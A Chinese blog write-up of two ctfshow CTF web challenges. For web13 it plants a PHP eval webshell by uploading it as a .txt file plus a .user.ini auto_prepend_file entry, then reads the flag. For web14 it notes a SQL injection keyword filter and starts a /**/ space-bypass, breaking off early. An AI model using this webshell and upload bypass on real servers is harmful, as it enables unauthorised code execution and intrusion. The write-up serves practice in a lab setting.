ctfshow web13-14

最新推荐文章于 2024-05-29 18:49:54 发布

许允er

最新推荐文章于 2024-05-29 18:49:54 发布

阅读量1k

点赞数 1

分类专栏： ctf show 文章标签：安全 web sql

本文链接：https://blog.csdn.net/qq_61988806/article/details/121886424

版权

ctf show 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

web13

文件上传的题

想办法搞到源码常见得到源码的方法 .bak .git .hg

这里使用.bak得到源码

下载得到源码

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功！";
	}else{
		echo "文件上传失败！";
	}

 ?>

这里限制文件大小小于等于24,文件名字长度小于等于9,后缀名长度小于等于3,并且后缀和名字都不能包含php

正常一句话木马的大小超过了24于是构建<?php eval($_POST['x']); 保存为1.txt

上传1.txt

php.ini是php的核心配置文件，在 PHP 启动时被读取，那么web目录的其他ini文件也是可以被php识别

PHP 会在每个目录下搜寻的文件名；如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名，那么任意一个页面都会将该文件中的内容包含进去。

在配置文件php.ini中有两个选项auto_prepend_file和auto_append_file。通过这两个选项来设置页眉和脚注，可以保证它们在每个页面的前后被载入
我们在.user.ini中输入auto_prepend_file =1.txt，这样在该目录下的所有文件都会包含1.txt的内容

上传.user.ini

使用蚁剑连接

这里可能蚁剑会无法正常连接可能是后台设置了时间如果不能连接可以等一下

连接后发现没有权限

直接在页面构建

/?x=print_r(glob("*"));

对于这个可以看ctfshow web10-12_许允er的博客-CSDN博客中的web12有解释

查询得到903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php

构建

/?x=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

得到flag值

web14

看到一部分的代码

开始尝试?c=

得到?c=3时退出循环

进入发现为sql注入题

<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Qeury Page</title>

<link rel="stylesheet" type="text/css" href="css/style.css">

<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/vector.js"></script>

</head>
<body>

<div id="container">
	<div id="output">
		<div class="containerT">
			<h1>查询</h1>
			<form class="form" id="entry_form" method="get" action="">
				<input type="text" placeholder="1" id="entry_name" name='query' value="1">
				<button type="sbmit" id="entry_btn">确定</button>
				<div id="prompt" class="prompt"></div>
			</form>
		</div>
	</div>
</div>

<script type="text/javascript">
    $(function(){
        Victor("container", "output");   //登录背景函数
        $("#entry_name").focus();
        $(document).keydown(function(event){
            if(event.keyCode==13){
                $("#entry_btn").click();
            }
        });
    });
</script>
<div style="text-align:center;">
</div>
<!--
	if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}
-->
</body>
</html>

<script>alert('admin')</script>

if(preg_match('if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){

发现过滤了

/information_schema\.tables|information_schema\.columns|linestring| |polygon/is'

使用Query

Query是一个查询参数类

构建?query=1/**/order/**/by/**/1